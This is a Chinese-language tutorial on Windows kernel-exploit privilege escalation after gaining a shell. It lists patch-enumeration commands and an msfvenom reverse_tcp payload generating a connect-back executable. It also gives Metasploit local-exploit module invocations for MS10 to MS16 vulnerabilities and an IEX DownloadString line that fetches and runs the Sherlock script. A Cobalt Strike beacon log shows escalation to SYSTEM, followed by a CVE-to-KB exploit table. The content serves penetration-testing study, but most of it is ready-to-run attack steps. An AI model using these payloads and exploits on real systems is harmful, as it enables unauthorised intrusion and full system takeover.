文章前言
在后渗透测试阶段,权限提升是一个绕不开的话题,其中"系统内核溢出提权"因其利用便捷成为了最为常用的方法,在使用该方法提权时我们只需要去查看目标系统中打了那些系统补丁,之后去找补丁的"互补"补丁,并利用对应的提权类的漏洞实现权限提升,本篇文章主要围绕"系统内核溢出提权"的一些方法、思路进行简易介绍~
权限查看
在获取到目标系统的shell后,我们需要先确认以下当前用户以及用户权限,这一点可以通过在shell中输入"whoami"以及"whoami /groups"来确定:
代码语言:javascript复制whoami
whoami /groups
从上面的显示结果可以看到当前用户为" win-op8vb0nlureal1ex",权限为"Mandatory LabelMedium Mandatory Level",而这里的"Mandatory LabelMedium Mandatory Level"是一个标准的普通用户权限,而我们再提权阶段要做得就是将此处的"Medium Mandatory Level"提升为"High Mandatory Level"。
补丁查询
利用系统溢出漏洞进行提权的关键是通过查看系统的补丁信息来找寻缺失的、可以利用来提权的补丁进行提权,下面介绍几种常见的补丁查询思路与方法
系统命令查看
在Windows操作系统中我们可以通过执行systeminfo来查看目标机器上安装的补丁信息:
代码语言:javascript复制systeminfo
从上图可以看到这里安装了三个补丁:
- [01]: KB2534111
- [02]: KB2999226
- [03]: KB976902
同时我们也可以通过WMIC来快速查看当前系统安装的补丁信息:
代码语言:javascript复制wmic qfe get Caption,Description,HotFixID,InstalledOn
如果想要查询系统是否安装某一个特定的补丁,可以通过以下命令进行简易查询:
代码语言:javascript复制wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /c:"KB2534111" /c:"KB976902"
既然已经确定了当前系统的补丁信息,那么后续如何利用呢?当然是去查找缺失的、可以利用的补丁了!但是怎么找呢?不可能在茫茫大海中找吧?当然不是,这里推荐一个辅助网站:https://bugs.hacking8.com/tiquan/
我们可以在"补丁号"选项框中输入当前系统的补丁信息,之后进行查询来获取当前系统的缺失的、可以利用的补丁信息,这里以上面查询的补丁信息为例:
之后可以根据补丁来推荐相关的漏洞利用EXP,不过在使用EXP时还需要主要影响的操作系统:
关于提权类的EXP,这里推荐一个项目:https://github.com/Al1ex/WindowsElevation
该项目源自SecWiki维护的Windows-kernel-exploit,但是由于原作者不再更新与维护所以后期由笔者重新进行构建维护,同时也涵盖了Bypass UAC系列,目前还在不断的更新与完善中,同时该项目也主要用于收集网络上公开的各大有价值的漏洞EXP/POC~
MSF框架查看
MSF框架中自带提权辅助功能模块——post/windows/gather/enum_pathes,该模块会根据漏洞编号快速查找目标系统中的补丁信息,下面以目标主机为例做一个简单的演示:
首先,我们需要获取目标主机的一个Shell,这里我们再测试环境中直接通过MSFvenom来生成Payload:
代码语言:javascript复制msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.188.129 LPORT=4444 -f exe > shell.exe
之后在MSF中设置监听:
之后再目标主机中执行EXE
之后成功返回会话:
之后在Meterpreter中执行如下命令即可查看系统补丁信息(老版本的会给出可用的EXP,MSF5好像不提供了):
代码语言:javascript复制run post/windows/gather/enum_patches
于此同时,我们也可以通过执行以下命令来查看目标系统可用的漏洞,之后探寻提权EXP:
代码语言:javascript复制run post/multi/recon/local_exploit_suggester
其他一些常见的模块例如:
Windows ClientCopyImage Win32k Exploit:
Windows内核模式驱动程序中的漏洞可能允许特权提升,此模块利用win32k.sys内核模式驱动程序中不正确的对象处理,此模块已在Windows 7 x64和x86、Windows 2008 r2 sp1 x64的易受攻击版本上进行了测试
代码语言:javascript复制use exploit/windows/local/ms15_051_client_copy_image
set lhost 192.168.1.107
set session 1
exploit
Windows TrackPopupMenu Win32k NULL Pointer Dereference:
此模块已在Windows xp sp3、Windows server 2003 sp2、Windows 7 sp1、Windows server 2008 r2位和Windows server 2008 r2 sp1 64位上进行了测试
代码语言:javascript复制use exploit/windows/local/ms14_058_track_popup_menu
set lhost 192.168.1.107
set session 1
exploit
Windows SYSTEM Escalation via KiTrap0D:
代码语言:javascript复制use exploit/windows/local/ms10_015_kitrap0d
set lhost 192.168.1.107
set session 1
exploit
Windows Escalate Task Scheduler XML Privilege Escalation:
代码语言:javascript复制use exploit/windows/local/ms10_092_schelevator
set lhost 192.168.1.107
set session 1
exploit
MS16-016 mrxdav.sys WebDav Local Privilege Escalation:
代码语言:javascript复制use exploit/windows/local/ms16_016_webdav
set lhost 192.168.1.107
set session 1
exploit
EPATHOBJ::pprFlattenRec Local Privilege Escalation:
代码语言:javascript复制use exploit/windows/local/ppr_flatten_rec
set lhost 192.168.1.107
set session 1
exploit
MS13-053 : NTUserMessageCall Win32k Kernel Pool Overflow:
代码语言:javascript复制use exploit/windows/local/ms13_053_ schlamperei
set lhost 192.168.1.107
set session 1
exploit
MS16-032 Secondary Logon Handle Privilege Escalation:
代码语言:javascript复制use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
set session 1
exploit
Empire内置模块
Empire框架也提供了关于内核溢出漏洞提权的漏洞利用方法,下面进行简单演示:
代码语言:javascript复制usemodule privesc/powerup/allchecks
execute
PS:总体来看效果不是很理想,不如MSF~
PowerShell脚本
Sherlock(https://github.com/rasta-mouse/Sherlock)是一个在Windows下用于本地提权的PowerShell脚本,目前包含了以下漏洞:
- MS10-015 : User Mode to Ring (KiTrap0D)
- MS10-092 : Task Scheduler
- MS13-053 : NTUserMessageCall Win32k Kernel Pool Overflow
- MS13-081 : TrackPopupMenuEx Win32k NULL Page
- MS14-058 : TrackPopupMenu Win32k Null Pointer Dereference
- MS15-051 : ClientCopyImage Win32k
- MS15-078 : Font Driver Buffer Overflow
- MS16-016 : 'mrxdav.sys' WebDAV
- MS16-032 : Secondary Logon Handle
- MS16-034 : Windows Kernel-Mode Drivers EoP
- MS16-135 : Win32k Elevation of Privilege
- CVE-2017-7199 : Nessus Agent 6.6.2 - 6.10.3 Priv Esc
该工具的利用也是较为简单,首先下载项目到本地,之后再终端调用Sherlock(获取webshell的主机中直接上传即可):
代码语言:javascript复制Import-Module .Sherlock.ps1
当然也可以远程加载:
代码语言:javascript复制IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/rasta-mouse/Sherlock/master/Sherlock.ps1')
之后执行以下命令来列举当前系统中所有可利用的漏洞:
代码语言:javascript复制Find-AllVulns
当然你也可以搜索某一个特定漏洞,例如:
代码语言:javascript复制Find-CVE20177199
根据Sherlock的说明目前CS已经可以实现" 导入模块——>查询单一漏洞——>直接提权 "的一套流程了,下面是Github中的实例:
代码语言:javascript复制beacon> getuid
[*] Tasked beacon to get userid
[ ] host called home, sent: 20 bytes
[*] You are Win7-x64Rasta
beacon> powershell-import C:UsersRastaDesktopSherlock.ps1
[*] Tasked beacon to import: C:UsersRastaDesktopSherlock.ps1
[ ] host called home, sent: 2960 bytes
beacon> powershell Find-MS14058
[*] Tasked beacon to run: Find-MS14058
[ ] host called home, sent: 20 bytes
[ ] received output:
Title : TrackPopupMenu Win32k Null Pointer Dereference
MSBulletin : MS14-058
CVEID : 2014-4113
Link : https://www.exploit-db.com/exploits/35101/
VulnStatus : Appears Vulnerable
beacon> elevate ms14-058 smb
[*] Tasked beacon to elevate and spawn windows/beacon_smb/bind_pipe (127.0.0.1:1337)
[ ] host called home, sent: 105015 bytes
[ ] received output:
[*] Getting Windows version...
[*] Solving symbols...
[*] Requesting Kernel loaded modules...
[*] pZwQuerySystemInformation required length 51216
[*] Parsing SYSTEM_INFO...
[*] 173 Kernel modules found
[*] Checking module SystemRootsystem32ntoskrnl.exe
[*] Good! nt found as ntoskrnl.exe at 0x0264f000
[*] ntoskrnl.exe loaded in userspace at: 40000000
[*] pPsLookupProcessByProcessId in kernel: 0xFFFFF800029A21FC
[*] pPsReferencePrimaryToken in kernel: 0xFFFFF800029A59D0
[*] Registering class...
[*] Creating window...
[*] Allocating null page...
[*] Getting PtiCurrent...
[*] Good! dwThreadInfoPtr 0xFFFFF900C1E7B8B0
[*] Creating a fake structure at NULL...
[*] Triggering vulnerability...
[!] Executing payload...
[ ] host called home, sent: 204885 bytes
[ ] established link to child beacon: 192.168.56.105
beacon> getuid
[*] Tasked beacon to get userid
[ ] host called home, sent: 8 bytes
[*] You are NT AUTHORITYSYSTEM (admin)
PS:关于该Powershell的利用还有很多单一漏洞的查询,读者可以根据源码进行分析~
Windows Exploit Suggester
工具介绍
Windows-Exploit-Suggester(https://github.com/GDSSecurity/Windows-Exploit-Suggester )是受Linux_Exploit_Suggester的启发而开发的一款提权辅助工具,,它是用python开发而成,运行环境是python3.3及以上版本,且必须安装xlrd,其主要功能是通过比对systeminfo生成的文件,从而发现系统是否存在未修复漏洞。
工具原理
Windows-Exploit-Suggester通过下载微软公开漏洞库到本地“生成日期 mssb.xls”文件,然后根据操作系统版本,跟systeminfo生成的文件进行比对。微软公开漏洞库下载地址:http://www.microsoft.com/en-gb/download/confirmation.aspx?id=36982 。同时此工具还会告知用户针对于此漏洞是否有公开的exp和可用的Metasploit模块。
工具安装
安装依赖xlrd:
代码语言:javascript复制pip install xlrd
之后下载Windows-Exploit-Suggester项目到本地:
代码语言:javascript复制git clone https://github.com/AonCyberLabs/Windows-Exploit-Suggester
更新漏洞库
之后执行以下命令,自动从微软官网下载安全公告数据库,下载的文件会自动保存在当前目录下:
代码语言:javascript复制./windows-exploit-suggester.py --update
获取系统信息
之后在目标系统中获取systeminfo信息并将其保存到一个txt文件夹中:
代码语言:javascript复制systeminfo > sysinfo.txt
系统漏洞检索
之后将目标系统中的sysinfo.txt文件复制出来,到安装有Windows-Exploit-Suggester的主机上去执行如下命令,查询系统中存在的可用漏洞信息,这里的参数d为指定漏洞库,也就是之前跟新漏洞库后的xlsx文件:
代码语言:javascript复制./windows-exploit-suggester.py -d 2020-09-09-mssb.xls -i sysinfo.txt
总体上效果还不错,挺让人满意的,不过该工具也有一个缺点——更新数据库后下载的数据库最新的2017年的,有点局限
补丁列表
最后给出一个常用的补丁列表信息,可能数据有点成旧哈~
CVE ID | MS ID | KB | Operating System |
---|---|---|---|
CVE-2003-0352 | MS03-026 | KB823980 | Windows 2003/XP/2000/NT 4.0/Server 2003 |
CVE-2005-1983 | MS05-039 | KB899588 | Windows 2000/XP SP1/Server 2003 |
CVE-2006-3439 | MS06-040 | KB921883 | Windows 2000/XP/Server 2003 |
CVE-2008-1084 | MS08-025 | KB941693 | Windows 2000/XP/Server 2003/Vista SP1/Server 2008 |
CVE-2008-3464 | MS08-066 | KB910723 | Windows XP/Server 2003 |
CVE-2008-4037 | MS08-068 | KB887429 | Windows XP/Server 2000/Vista/Server 2008 |
CVE-2008-4250 | MS08-067 | KB958644 | Windows XP/Vista/Server 2000 2003 2008 |
CVE-2009-0079 | MS09-012 | KB956572 | Windows XP/Server 2000 2003 2008/Vista |
CVE-2009-1535 | MS09-020 | KB970483 | Windows XP/Server 2000 2003 |
CVE-2009-2532 | MS09-050 | KB975517 | Windows Vista/Server 2008 |
CVE-2010-0020 | MS10-020 | KB980232 | Windows XP/2000/2003/2008/2008 R2/Vista/7 |
CVE-2010-0232 | MS10-015 | KB977165 | Windows 2000/XP/2003/Vista/2008/7 |
CVE-2010-1887 | MS10-048 | KB2160329 | Windows XP/2003/2008/7/Vista |
CVE-2010-1899 | MS10-065 | KB2271195 | Windows XP/2003/2008/7/Vista |
CVE-2010-2554 | MS10-059 | KB982799 | Window Vista/2008/7 |
CVE-2010-3338 | MS10-092 | KB2305420 | Windows Vista/7/2008 |
CVE-2010-4398 | MS11-011 | KB2393802 | Windows XP/Server 2003/Vsita/2008/7 |
CVE-2011-1249 | MS11-046 | KB2503665 | Windows XP/2003/2008 |
CVE-2011-1974 | MS11-062 | KB2566454 | Windows XP/2003 |
CVE-2011-2005 | MS11-080 | KB2592799 | Windows XP/Server 2003 |
CVE-2012-0002 | MS12-020 | KB2621440 | Winodws XP/2003/2008/Vista/7 |
CVE-2013-0008 | MS13-005 | KB2778930 | Windows Vista/2008/2012/7/8/RT |
CVE-2013-1300 | MS13-053 | KB2850851 | Windows XP/2003/2008/2012/7/8 |
CVE-2013-1332 | MS13-046 | KB2829361 | Windows XP/2003/2008/2012/7/8/RT |
CVE-2013-5065 | MS14-002 | KB2914368 | Windows XP/2003 |
CVE-2014-1767 | MS14-040 | KB2961072 | Windows XP/2003/2008/2012/7/8/RT/Vista |
CVE-2014-2814 | MS14-042 | KB2972621 | Windows Server 2008/2012 |
CVE-2014-4076 | MS14-070 | Windows 2003 | |
CVE-2014-4113 | MS14-058 | KB3000061 | Windows 2003/2008/2012/Vista/7/RT |
CVE-2014-6321 | MS14-066 | Windows server 2003/2008/2012/Vista/7 | |
CVE-2014-6324 | MS14-068 | Windows 2003/2008/2012/Vista/7/8 | |
CVE-2015-0002 | MS15-001 | Windows 7/8/2008/2012/ | |
CVE-2015-0057 | MS15-010 | Windows 2003/2008/2012/vista/7/8/RT | |
CVE-2015-0062 | MS15-015 | Windows 7/8/2008/2012/RT | |
CVE-2015-0097 | MS15-022 | Microsoft Office 2007/2010/2013/RT | |
CVE-2015-1701 | MS15-051 | KB3065979 | WIndows 2003/2008/2012/Vista/7/8 |
CVE-2015-1726 | MS15-061 | WIndows 2003/2008/2012/Vista/7/8 | |
CVE-2015-2370 | MS15-076 | WIndows 2003/2008/2012/Vista/7/8 | |
CVE-2015-2387 | MS15-077 | WIndows 2003/2008/2012/Vista/7/8 | |
CVE-2015-2517 | MS15-097 | KB3081455 | Windows 2003/2008/2012/Vista/RT/7/8/10 |
CVE-2016-0040 | MS16-014 | KB3135174 | Windows 2003/2008/2012/Vista/RT/7/8/10 |
CVE-2016-0051 | MS16-016 | KB3135173 | Windows 2003/2008/2012/Vista/RT/7/8/10 |
CVE-2016-0093 | MS16-034 | KB3140745 | Windows 2003/2008/2012/Vista/RT/7/8/10 |
CVE-2016-0099 | MS16-032 | KB3140768 | Windows 2003/2008/2012/Vista/RT/7/8/10 |
CVE-2016-3225 | MS16-075 | KB3163017 | Windows 2003/2008/2012/Vista/RT/7/8/10 |
CVE-2016-3305 | MS16-111 | KB3185611 | Windows 2008/2012/Vista/RT/7/8/10 |
CVE-2016-3308 | MS16-098 | KB3176492 | Windows 2008/2012/Vista/RT/7/8/10 |
CVE-2016-7214 | MS16-135 | KB3198234 | Windows Vista/2008/2012/2016/7/8 |
CVE-2017-0050 | MS17-017 | KB4011981 | Windows Vista/2008/2012/2016/7/8/10 |
CVE-2017-0143 | MS17-010 | Windows Vista/2008/2012/2016/7/8/10 | |
CVE-2017-0213 | KB4038788 | Windows Vista/2008/2012/2016/7/8/10 | |
CVE-2017-8464 | KB4022727 | Windows Vista/2008/2012/2016/7/8/10 | |
CVE-2018-0833 | KB4074594 | Windows 8/2012 R2/RT | |
CVE-2018-8120 | KB4103718 | Windows 2008/2008 R2/7 | |
CVE-2019-0803 | KB4493471 | Windows Vista/2008/2012/2016/2019/7/8/10 | |
CVE-2019-0863 | KB4494440 | Windows 2008/7/8/10 | |
CVE-2019-1253 | KB4515384 | Windows 10 1903/1709/1803/1703 | |
CVE-2019-1405 | KB4525235 | Windows 2008/2012/2016/2019/7/8/10 | |
CVE-2020-0668 | KB4532693 | Windows 2008/2012/2016/2019/7/8/10 | |
CVE-2020-0683 | KB4532691 | Windows 2008/2012/2016/2019/7/8/10 | |
CVE-2020-0787 | KB4541505 | Windows 2008/2012/2016/2019/7/8/10 | |
CVE-2020-0796 | KB4499165 | Windows 10 1909/1903/ | |
CVE-2020-1054 | KB4556826 | Windows 2008/2012/7/8/10 | |
CVE-2020-1066 | KB4552965 | Microsoft .NET Framework 3.5.1/3.0 | |
CVE-2020-1337 | KB4571694 | Windows 2012/7/10 | |
CVE-2020-1362 | KB4565503 | Windows 10 1903/1809/1607/2004/1709 |